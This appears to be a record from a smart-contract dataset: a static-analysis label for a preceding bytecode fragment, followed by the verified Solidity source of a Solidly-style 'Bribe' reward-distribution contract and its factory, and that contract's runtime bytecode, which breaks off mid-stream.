57610100808354040283529160200191611a67565b820191906000526020600020905b815481529060010190602001808311611a4a57829003601f168201915b505050505081565b60095481565b6000828211151515611a8657600080fd5b818303905092915050565b6000611adc600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611a75565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b68600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612113565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515611c2a57600080fd5b8183811515611c3557fe5b04905092915050565b600080600080600754600854600954600660009054906101000a900460ff16935093509350935090919293565b600082600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611e48578082015181840152602081019050611e2d565b50505050905090810190601f168015611e755780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611e9757600080fd5b505af1158015611eab573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611eda5750818382811515611ed757fe5b04145b1515611ee557600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f8557600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561204957600080fd5b505af115801561205d573d6000803e3d6000fd5b505050506040513d602081101561207357600080fd5b8101908080519060200190929190505050905092915050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015151561212957600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561218a57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600854815600a165627a7a72305820e97a878443ae07d17283cddefb0801ce12fb814e6315d017c139f7cdd9741a500029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 7,822 |
0x19d6a0FD78e34A1a25E9EdBD6e572c9eC19Be20B
|
/**
*Submitted for verification at Etherscan.io on 2022-03-03
*/
// Sources flattened with hardhat v2.8.4 https://hardhat.org
// File srcBuild/Bribe.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
library Math {
function max(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
interface erc20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint amount) external returns (bool);
function balanceOf(address) external view returns (uint);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
}
interface ve {
function isApprovedOrOwner(address, uint) external view returns (bool);
function ownerOf(uint) external view returns (address);
}
interface IVoter {
function _ve() external view returns (address);
}
// Bribes pay out rewards for a given pool based on the votes that were received from the user (goes hand in hand with BaseV1Gauges.vote())
contract Bribe {
address public immutable factory; // only factory can modify balances (since it only happens on vote())
address public immutable _ve;
uint public constant DURATION = 7 days; // rewards are released over 7 days
uint public constant PRECISION = 10 ** 18;
// default snx staking contract implementation
mapping(address => uint) public rewardRate;
mapping(address => uint) public periodFinish;
mapping(address => uint) public lastUpdateTime;
mapping(address => uint) public rewardPerTokenStored;
mapping(address => mapping(uint => uint)) public lastEarn;
mapping(address => mapping(uint => uint)) public userRewardPerTokenStored;
address[] public rewards;
mapping(address => bool) public isReward;
uint public totalSupply;
mapping(uint => uint) public balanceOf;
/// @notice A checkpoint for marking balance
struct Checkpoint {
uint timestamp;
uint balanceOf;
}
/// @notice A checkpoint for marking reward rate
struct RewardPerTokenCheckpoint {
uint timestamp;
uint rewardPerToken;
}
/// @notice A checkpoint for marking supply
struct SupplyCheckpoint {
uint timestamp;
uint supply;
}
/// @notice A record of balance checkpoints for each account, by index
mapping (uint => mapping (uint => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (uint => uint) public numCheckpoints;
/// @notice A record of balance checkpoints for each token, by index
mapping (uint => SupplyCheckpoint) public supplyCheckpoints;
/// @notice The number of checkpoints
uint public supplyNumCheckpoints;
/// @notice A record of balance checkpoints for each token, by index
mapping (address => mapping (uint => RewardPerTokenCheckpoint)) public rewardPerTokenCheckpoints;
/// @notice The number of checkpoints for each token
mapping (address => uint) public rewardPerTokenNumCheckpoints;
event Deposit(address indexed from, uint tokenId, uint amount);
event Withdraw(address indexed from, uint tokenId, uint amount);
event NotifyReward(address indexed from, address indexed reward, uint amount);
event ClaimRewards(address indexed from, address indexed reward, uint amount);
constructor(address _factory) {
factory = _factory;
_ve = IVoter(_factory)._ve();
}
// simple re-entrancy check
uint internal _unlocked = 1;
modifier lock() {
require(_unlocked == 1);
_unlocked = 2;
_;
_unlocked = 1;
}
/**
* @notice Determine the prior balance for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param tokenId The token of the NFT to check
* @param timestamp The timestamp to get the balance at
* @return The balance the account had as of the given block
*/
function getPriorBalanceIndex(uint tokenId, uint timestamp) public view returns (uint) {
uint nCheckpoints = numCheckpoints[tokenId];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[tokenId][nCheckpoints - 1].timestamp <= timestamp) {
return (nCheckpoints - 1);
}
// Next check implicit zero balance
if (checkpoints[tokenId][0].timestamp > timestamp) {
return 0;
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[tokenId][center];
if (cp.timestamp == timestamp) {
return center;
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return lower;
}
function getPriorSupplyIndex(uint timestamp) public view returns (uint) {
uint nCheckpoints = supplyNumCheckpoints;
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (supplyCheckpoints[nCheckpoints - 1].timestamp <= timestamp) {
return (nCheckpoints - 1);
}
// Next check implicit zero balance
if (supplyCheckpoints[0].timestamp > timestamp) {
return 0;
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
SupplyCheckpoint memory cp = supplyCheckpoints[center];
if (cp.timestamp == timestamp) {
return center;
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return lower;
}
function getPriorRewardPerToken(address token, uint timestamp) public view returns (uint, uint) {
uint nCheckpoints = rewardPerTokenNumCheckpoints[token];
if (nCheckpoints == 0) {
return (0,0);
}
// First check most recent balance
if (rewardPerTokenCheckpoints[token][nCheckpoints - 1].timestamp <= timestamp) {
return (rewardPerTokenCheckpoints[token][nCheckpoints - 1].rewardPerToken, rewardPerTokenCheckpoints[token][nCheckpoints - 1].timestamp);
}
// Next check implicit zero balance
if (rewardPerTokenCheckpoints[token][0].timestamp > timestamp) {
return (0,0);
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
RewardPerTokenCheckpoint memory cp = rewardPerTokenCheckpoints[token][center];
if (cp.timestamp == timestamp) {
return (cp.rewardPerToken, cp.timestamp);
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return (rewardPerTokenCheckpoints[token][lower].rewardPerToken, rewardPerTokenCheckpoints[token][lower].timestamp);
}
function _writeCheckpoint(uint tokenId, uint balance) internal {
uint _timestamp = block.timestamp;
uint _nCheckPoints = numCheckpoints[tokenId];
if (_nCheckPoints > 0 && checkpoints[tokenId][_nCheckPoints - 1].timestamp == _timestamp) {
checkpoints[tokenId][_nCheckPoints - 1].balanceOf = balance;
} else {
checkpoints[tokenId][_nCheckPoints] = Checkpoint(_timestamp, balance);
numCheckpoints[tokenId] = _nCheckPoints + 1;
}
}
function _writeRewardPerTokenCheckpoint(address token, uint reward, uint timestamp) internal {
uint _nCheckPoints = rewardPerTokenNumCheckpoints[token];
if (_nCheckPoints > 0 && rewardPerTokenCheckpoints[token][_nCheckPoints - 1].timestamp == timestamp) {
rewardPerTokenCheckpoints[token][_nCheckPoints - 1].rewardPerToken = reward;
} else {
rewardPerTokenCheckpoints[token][_nCheckPoints] = RewardPerTokenCheckpoint(timestamp, reward);
rewardPerTokenNumCheckpoints[token] = _nCheckPoints + 1;
}
}
function _writeSupplyCheckpoint() internal {
uint _nCheckPoints = supplyNumCheckpoints;
uint _timestamp = block.timestamp;
if (_nCheckPoints > 0 && supplyCheckpoints[_nCheckPoints - 1].timestamp == _timestamp) {
supplyCheckpoints[_nCheckPoints - 1].supply = totalSupply;
} else {
supplyCheckpoints[_nCheckPoints] = SupplyCheckpoint(_timestamp, totalSupply);
supplyNumCheckpoints = _nCheckPoints + 1;
}
}
function rewardsListLength() external view returns (uint) {
return rewards.length;
}
// returns the last time the reward was modified or periodFinish if the reward has ended
function lastTimeRewardApplicable(address token) public view returns (uint) {
return Math.min(block.timestamp, periodFinish[token]);
}
// allows a user to claim rewards for a given token
function getReward(uint tokenId, address[] memory tokens) external lock {
require(ve(_ve).isApprovedOrOwner(msg.sender, tokenId));
for (uint i = 0; i < tokens.length; i++) {
(rewardPerTokenStored[tokens[i]], lastUpdateTime[tokens[i]]) = _updateRewardPerToken(tokens[i]);
uint _reward = earned(tokens[i], tokenId);
lastEarn[tokens[i]][tokenId] = block.timestamp;
userRewardPerTokenStored[tokens[i]][tokenId] = rewardPerTokenStored[tokens[i]];
if (_reward > 0) _safeTransfer(tokens[i], msg.sender, _reward);
emit ClaimRewards(msg.sender, tokens[i], _reward);
}
}
// used by BaseV1Voter to allow batched reward claims
function getRewardForOwner(uint tokenId, address[] memory tokens) external lock {
require(msg.sender == factory);
address _owner = ve(_ve).ownerOf(tokenId);
for (uint i = 0; i < tokens.length; i++) {
(rewardPerTokenStored[tokens[i]], lastUpdateTime[tokens[i]]) = _updateRewardPerToken(tokens[i]);
uint _reward = earned(tokens[i], tokenId);
lastEarn[tokens[i]][tokenId] = block.timestamp;
userRewardPerTokenStored[tokens[i]][tokenId] = rewardPerTokenStored[tokens[i]];
if (_reward > 0) _safeTransfer(tokens[i], _owner, _reward);
emit ClaimRewards(_owner, tokens[i], _reward);
}
}
function rewardPerToken(address token) public view returns (uint) {
if (totalSupply == 0) {
return rewardPerTokenStored[token];
}
return rewardPerTokenStored[token] + ((lastTimeRewardApplicable(token) - Math.min(lastUpdateTime[token], periodFinish[token])) * rewardRate[token] * PRECISION / totalSupply);
}
function batchRewardPerToken(address token, uint maxRuns) external {
(rewardPerTokenStored[token], lastUpdateTime[token]) = _batchRewardPerToken(token, maxRuns);
}
function _batchRewardPerToken(address token, uint maxRuns) internal returns (uint, uint) {
uint _startTimestamp = lastUpdateTime[token];
uint reward = rewardPerTokenStored[token];
if (supplyNumCheckpoints == 0) {
return (reward, _startTimestamp);
}
if (rewardRate[token] == 0) {
return (reward, block.timestamp);
}
uint _startIndex = getPriorSupplyIndex(_startTimestamp);
uint _endIndex = Math.min(supplyNumCheckpoints-1, maxRuns);
for (uint i = _startIndex; i < _endIndex; i++) {
SupplyCheckpoint memory sp0 = supplyCheckpoints[i];
if (sp0.supply > 0) {
SupplyCheckpoint memory sp1 = supplyCheckpoints[i+1];
(uint _reward, uint endTime) = _calcRewardPerToken(token, sp1.timestamp, sp0.timestamp, sp0.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, endTime);
_startTimestamp = endTime;
}
}
return (reward, _startTimestamp);
}
function _calcRewardPerToken(address token, uint timestamp1, uint timestamp0, uint supply, uint startTimestamp) internal view returns (uint, uint) {
uint endTime = Math.max(timestamp1, startTimestamp);
return (((Math.min(endTime, periodFinish[token]) - Math.min(Math.max(timestamp0, startTimestamp), periodFinish[token])) * rewardRate[token] * PRECISION / supply), endTime);
}
function _updateRewardPerToken(address token) internal returns (uint, uint) {
uint _startTimestamp = lastUpdateTime[token];
uint reward = rewardPerTokenStored[token];
if (supplyNumCheckpoints == 0) {
return (reward, _startTimestamp);
}
if (rewardRate[token] == 0) {
return (reward, block.timestamp);
}
uint _startIndex = getPriorSupplyIndex(_startTimestamp);
uint _endIndex = supplyNumCheckpoints-1;
if (_endIndex - _startIndex > 1) {
for (uint i = _startIndex; i < _endIndex-1; i++) {
SupplyCheckpoint memory sp0 = supplyCheckpoints[i];
if (sp0.supply > 0) {
SupplyCheckpoint memory sp1 = supplyCheckpoints[i+1];
(uint _reward, uint _endTime) = _calcRewardPerToken(token, sp1.timestamp, sp0.timestamp, sp0.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, _endTime);
_startTimestamp = _endTime;
}
}
}
SupplyCheckpoint memory sp = supplyCheckpoints[_endIndex];
if (sp.supply > 0) {
(uint _reward,) = _calcRewardPerToken(token, lastTimeRewardApplicable(token), Math.max(sp.timestamp, _startTimestamp), sp.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, block.timestamp);
_startTimestamp = block.timestamp;
}
return (reward, _startTimestamp);
}
function earned(address token, uint tokenId) public view returns (uint) {
uint _startTimestamp = Math.max(lastEarn[token][tokenId], rewardPerTokenCheckpoints[token][0].timestamp);
if (numCheckpoints[tokenId] == 0) {
return 0;
}
uint _startIndex = getPriorBalanceIndex(tokenId, _startTimestamp);
uint _endIndex = numCheckpoints[tokenId]-1;
uint reward = 0;
if (_endIndex - _startIndex > 1) {
for (uint i = _startIndex; i < _endIndex-1; i++) {
Checkpoint memory cp0 = checkpoints[tokenId][i];
Checkpoint memory cp1 = checkpoints[tokenId][i+1];
(uint _rewardPerTokenStored0,) = getPriorRewardPerToken(token, cp0.timestamp);
(uint _rewardPerTokenStored1,) = getPriorRewardPerToken(token, cp1.timestamp);
reward += cp0.balanceOf * (_rewardPerTokenStored1 - _rewardPerTokenStored0) / PRECISION;
}
}
Checkpoint memory cp = checkpoints[tokenId][_endIndex];
(uint _rewardPerTokenStored,) = getPriorRewardPerToken(token, cp.timestamp);
reward += cp.balanceOf * (rewardPerToken(token) - Math.max(_rewardPerTokenStored, userRewardPerTokenStored[token][tokenId])) / PRECISION;
return reward;
}
// This is an external function, but internal notation is used since it can only be called "internally" from BaseV1Gauges
function _deposit(uint amount, uint tokenId) external {
require(msg.sender == factory);
totalSupply += amount;
balanceOf[tokenId] += amount;
_writeCheckpoint(tokenId, balanceOf[tokenId]);
_writeSupplyCheckpoint();
emit Deposit(msg.sender, tokenId, amount);
}
function _withdraw(uint amount, uint tokenId) external {
require(msg.sender == factory);
totalSupply -= amount;
balanceOf[tokenId] -= amount;
_writeCheckpoint(tokenId, balanceOf[tokenId]);
_writeSupplyCheckpoint();
emit Withdraw(msg.sender, tokenId, amount);
}
function left(address token) external view returns (uint) {
if (block.timestamp >= periodFinish[token]) return 0;
uint _remaining = periodFinish[token] - block.timestamp;
return _remaining * rewardRate[token];
}
// used to notify a gauge/bribe of a given reward, this can create griefing attacks by extending rewards
function notifyRewardAmount(address token, uint amount) external lock {
require(amount > 0);
if (rewardRate[token] == 0) _writeRewardPerTokenCheckpoint(token, 0, block.timestamp);
(rewardPerTokenStored[token], lastUpdateTime[token]) = _updateRewardPerToken(token);
if (block.timestamp >= periodFinish[token]) {
_safeTransferFrom(token, msg.sender, address(this), amount);
rewardRate[token] = amount / DURATION;
} else {
uint _remaining = periodFinish[token] - block.timestamp;
uint _left = _remaining * rewardRate[token];
require(amount > _left);
_safeTransferFrom(token, msg.sender, address(this), amount);
rewardRate[token] = (amount + _left) / DURATION;
}
require(rewardRate[token] > 0);
uint balance = erc20(token).balanceOf(address(this));
require(rewardRate[token] <= balance / DURATION, "Provided reward too high");
periodFinish[token] = block.timestamp + DURATION;
if (!isReward[token]) {
isReward[token] = true;
rewards.push(token);
}
emit NotifyReward(msg.sender, token, amount);
}
function _safeTransfer(address token, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
function _safeTransferFrom(address token, address from, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
}
contract BribeFactory {
address public last_gauge;
function createBribe() external returns (address) {
last_gauge = address(new Bribe(msg.sender));
return last_gauge;
}
}
|
0x608060405234801561001057600080fd5b50600436106102065760003560e01c80639e2bf22c1161011a578063e6886396116100ad578063f301af421161007c578063f301af4214610559578063f32077231461056c578063f5f8d3651461057f578063f7412baf14610592578063fd314098146105b957600080fd5b8063e68863961461050a578063e8111a1214610512578063f12297771461051b578063f25e55a51461052e57600080fd5b8063aaf5eb68116100e9578063aaf5eb68146104a1578063b66503cf146104b0578063c45a0155146104c3578063da09d19d146104ea57600080fd5b80639e2bf22c14610448578063a28d4c9c1461045b578063a7852afa1461046e578063aa4796521461048157600080fd5b80634d5ce0381161019d57806376f4be361161016c57806376f4be36146103a35780638dd598fb146103b657806399bcc052146103f55780639cc7f708146104085780639ce43f901461042857600080fd5b80634d5ce03814610328578063505897931461035b5780635a45d0521461037b578063638634ee1461039057600080fd5b80632ce9aead116101d95780632ce9aead146102985780633b881999146102b85780633e491d47146102e357806349dcc204146102f657600080fd5b806301316ddf1461020b57806318160ddd146102575780631be052891461026e578063221ca18c14610278575b600080fd5b61023d610219366004612243565b600e6020908152600092835260408084209091529082529020805460019091015482565b604080519283526020830191909152015b60405180910390f35b61026060085481565b60405190815260200161024e565b61026062093a8081565b61026061028636600461226f565b60006020819052908152604090205481565b6102606102a636600461226f565b60026020526000908152604090205481565b6102606102c6366004612243565b600560209081526000928352604080842090915290825290205481565b6102606102f1366004612243565b6105cc565b61023d61030436600461228c565b600a6020908152600092835260408084209091529082529020805460019091015482565b61034b61033636600461226f565b60076020526000908152604090205460ff1681565b604051901515815260200161024e565b6102606103693660046122ae565b600b6020526000908152604090205481565b61038e610389366004612243565b610834565b005b61026061039e36600461226f565b61086c565b6102606103b13660046122ae565b610890565b6103dd7f000000000000000000000000f2fec13cdb46760e065ddc1df9da16cb87afd61f81565b6040516001600160a01b03909116815260200161024e565b61026061040336600461226f565b6109c2565b6102606104163660046122ae565b60096020526000908152604090205481565b61026061043636600461226f565b60036020526000908152604090205481565b61038e61045636600461228c565b610a33565b61026061046936600461228c565b610b04565b61038e61047c3660046122dd565b610c47565b61026061048f36600461226f565b600f6020526000908152604090205481565b610260670de0b6b3a764000081565b61038e6104be366004612243565b610f87565b6103dd7f00000000000000000000000089549e232aacc4579f93b65735a9349038a4777581565b6102606104f836600461226f565b60016020526000908152604090205481565b600654610260565b610260600d5481565b61026061052936600461226f565b6112ce565b61026061053c366004612243565b600460209081526000928352604080842090915290825290205481565b6103dd6105673660046122ae565b61138c565b61038e61057a36600461228c565b6113b6565b61038e61058d3660046122dd565b61147f565b61023d6105a03660046122ae565b600c602052600090815260409020805460019091015482565b61023d6105c7366004612243565b611786565b6001600160a01b0382166000818152600460209081526040808320858452825280832054938352600e82528083208380529091528120549091829161061191906119a5565b6000848152600b602052604090205490915061063157600091505061082e565b600061063d8483610b04565b6000858152600b60205260408120549192509061065c906001906123c4565b90506000600161066c84846123c4565b111561077257825b61067f6001846123c4565b811015610770576000878152600a60208181526040808420858552808352818520825180840190935280548352600190810154838501528c865293909252929182906106cc9086906123db565b8152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050600061070b8b8460000151611786565b509050600061071e8c8460000151611786565b509050670de0b6b3a764000061073483836123c4565b856020015161074391906123f3565b61074d9190612412565b61075790876123db565b955050505050808061076890612434565b915050610674565b505b6000868152600a602090815260408083208584528252808320815180830190925280548083526001909101549282019290925291906107b2908a90611786565b506001600160a01b038a1660009081526005602090815260408083208c8452909152902054909150670de0b6b3a7640000906107ef9083906119a5565b6107f88b6112ce565b61080291906123c4565b836020015161081191906123f3565b61081b9190612412565b61082590846123db565b96505050505050505b92915050565b61083e82826119bc565b6001600160a01b03909316600090815260036020908152604080832060029092529091209390935590915550565b6001600160a01b03811660009081526001602052604081205461082e904290611b1b565b600d54600090806108a45750600092915050565b82600c60006108b46001856123c4565b815260200190815260200160002060000154116108dd576108d66001826123c4565b9392505050565b60008052600c6020527f13649b2456f1b42fef0f0040b3aaeabcd21a76a0f3f5defd4f583839455116e8548310156109185750600092915050565b6000806109266001846123c4565b90505b818111156109ba576000600261093f84846123c4565b6109499190612412565b61095390836123c4565b6000818152600c6020908152604091829020825180840190935280548084526001909101549183019190915291925090871415610994575095945050505050565b80518711156109a5578193506109b3565b6109b06001836123c4565b92505b5050610929565b509392505050565b6001600160a01b03811660009081526001602052604081205442106109e957506000919050565b6001600160a01b038216600090815260016020526040812054610a0d9042906123c4565b6001600160a01b0384166000908152602081905260409020549091506108d690826123f3565b336001600160a01b037f00000000000000000000000089549e232aacc4579f93b65735a9349038a477751614610a6857600080fd5b8160086000828254610a7a91906123c4565b909155505060008181526009602052604081208054849290610a9d9084906123c4565b9091555050600081815260096020526040902054610abc908290611b2a565b610ac4611c03565b604080518281526020810184905233917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b56891015b60405180910390a25050565b6000828152600b602052604081205480610b2257600091505061082e565b6000848152600a602052604081208491610b3d6001856123c4565b81526020019081526020016000206000015411610b6757610b5f6001826123c4565b91505061082e565b6000848152600a60209081526040808320838052909152902054831015610b9257600091505061082e565b600080610ba06001846123c4565b90505b81811115610c3e5760006002610bb984846123c4565b610bc39190612412565b610bcd90836123c4565b6000888152600a60209081526040808320848452825291829020825180840190935280548084526001909101549183019190915291925090871415610c185750935061082e92505050565b8051871115610c2957819350610c37565b610c346001836123c4565b92505b5050610ba3565b50949350505050565b601054600114610c5657600080fd5b6002601055336001600160a01b037f00000000000000000000000089549e232aacc4579f93b65735a9349038a477751614610c9057600080fd5b6040516331a9108f60e11b8152600481018390526000907f000000000000000000000000f2fec13cdb46760e065ddc1df9da16cb87afd61f6001600160a01b031690636352211e90602401602060405180830381865afa158015610cf8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1c919061244f565b905060005b8251811015610f7c57610d4c838281518110610d3f57610d3f61246c565b6020026020010151611ca7565b60036000868581518110610d6257610d6261246c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600060026000888781518110610da257610da261246c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060008491905055839190505550506000610dfd848381518110610def57610def61246c565b6020026020010151866105cc565b90504260046000868581518110610e1657610e1661246c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060008781526020019081526020016000208190555060036000858481518110610e6957610e6961246c565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000205460056000868581518110610ea857610ea861246c565b6020908102919091018101516001600160a01b0316825281810192909252604090810160009081208982529092529020558015610f0357610f03848381518110610ef457610ef461246c565b60200260200101518483611e8a565b838281518110610f1557610f1561246c565b60200260200101516001600160a01b0316836001600160a01b03167f9aa05b3d70a9e3e2f004f039648839560576334fb45c81f91b6db03ad9e2efc983604051610f6191815260200190565b60405180910390a35080610f7481612434565b915050610d21565b505060016010555050565b601054600114610f9657600080fd5b600260105580610fa557600080fd5b6001600160a01b038216600090815260208190526040902054610fce57610fce82600042611f79565b610fd782611ca7565b6001600160a01b03841660009081526003602090815260408083206002835281842094909455939092556001909152205442106110455761101a82333084612068565b61102762093a8082612412565b6001600160a01b0383166000908152602081905260409020556110de565b6001600160a01b0382166000908152600160205260408120546110699042906123c4565b6001600160a01b0384166000908152602081905260408120549192509061109090836123f3565b905080831161109e57600080fd5b6110aa84333086612068565b62093a806110b882856123db565b6110c29190612412565b6001600160a01b03851660009081526020819052604090205550505b6001600160a01b03821660009081526020819052604090205461110057600080fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a0823190602401602060405180830381865afa158015611147573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116b9190612482565b905061117a62093a8082612412565b6001600160a01b03841660009081526020819052604090205411156111e55760405162461bcd60e51b815260206004820152601860248201527f50726f76696465642072657761726420746f6f20686967680000000000000000604482015260640160405180910390fd5b6111f262093a80426123db565b6001600160a01b03841660009081526001602090815260408083209390935560079052205460ff16611284576001600160a01b0383166000818152600760205260408120805460ff191660019081179091556006805491820181559091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b03191690911790555b6040518281526001600160a01b0384169033907ff70d5c697de7ea828df48e5c4573cb2194c659f1901f70110c52b066dcf508269060200160405180910390a35050600160105550565b6000600854600014156112f757506001600160a01b031660009081526003602052604090205490565b6008546001600160a01b0383166000908152602081815260408083205460028352818420546001909352922054670de0b6b3a7640000929161133891611b1b565b6113418661086c565b61134b91906123c4565b61135591906123f3565b61135f91906123f3565b6113699190612412565b6001600160a01b03831660009081526003602052604090205461082e91906123db565b6006818154811061139c57600080fd5b6000918252602090912001546001600160a01b0316905081565b336001600160a01b037f00000000000000000000000089549e232aacc4579f93b65735a9349038a4777516146113eb57600080fd5b81600860008282546113fd91906123db565b9091555050600081815260096020526040812080548492906114209084906123db565b909155505060008181526009602052604090205461143f908290611b2a565b611447611c03565b604080518281526020810184905233917f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a159101610af8565b60105460011461148e57600080fd5b600260105560405163430c208160e01b8152336004820152602481018390527f000000000000000000000000f2fec13cdb46760e065ddc1df9da16cb87afd61f6001600160a01b03169063430c208190604401602060405180830381865afa1580156114fe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611522919061249b565b61152b57600080fd5b60005b815181101561177c5761154c828281518110610d3f57610d3f61246c565b600360008585815181106115625761156261246c565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206000600260008787815181106115a2576115a261246c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600084919050558391905055505060006115fd8383815181106115ef576115ef61246c565b6020026020010151856105cc565b905042600460008585815181106116165761161661246c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600086815260200190815260200160002081905550600360008484815181106116695761166961246c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054600560008585815181106116a8576116a861246c565b6020908102919091018101516001600160a01b0316825281810192909252604090810160009081208882529092529020558015611703576117038383815181106116f4576116f461246c565b60200260200101513383611e8a565b8282815181106117155761171561246c565b60200260200101516001600160a01b0316336001600160a01b03167f9aa05b3d70a9e3e2f004f039648839560576334fb45c81f91b6db03ad9e2efc98360405161176191815260200190565b60405180910390a3508061177481612434565b91505061152e565b5050600160105550565b6001600160a01b0382166000908152600f60205260408120548190806117b357600080925092505061199e565b6001600160a01b0385166000908152600e6020526040812085916117d86001856123c4565b81526020019081526020016000206000015411611875576001600160a01b0385166000908152600e60205260408120906118136001846123c4565b815260200190815260200160002060010154600e6000876001600160a01b03166001600160a01b03168152602001908152602001600020600060018461185991906123c4565b815260200190815260200160002060000154925092505061199e565b6001600160a01b0385166000908152600e602090815260408083208380529091529020548410156118ad57600080925092505061199e565b6000806118bb6001846123c4565b90505b8181111561196d57600060026118d484846123c4565b6118de9190612412565b6118e890836123c4565b6001600160a01b0389166000908152600e602090815260408083208484528252918290208251808401909352805480845260019091015491830191909152919250908814156119475760208101519051909650945061199e9350505050565b805188111561195857819350611966565b6119636001836123c4565b92505b50506118be565b506001600160a01b0386166000908152600e6020908152604080832093835292905220600181015490549093509150505b9250929050565b6000818310156119b557816108d6565b5090919050565b6001600160a01b0382166000908152600260209081526040808320546003909252822054600d54839291906119f4579250905061199e565b6001600160a01b038616600090815260208190526040902054611a1d57925042915061199e9050565b6000611a2883610890565b90506000611a446001600d54611a3e91906123c4565b88611b1b565b9050815b81811015611b0c576000818152600c60209081526040918290208251808401909352805483526001015490820181905215611af9576000600c81611a8d8560016123db565b815260200190815260200160002060405180604001604052908160008201548152602001600182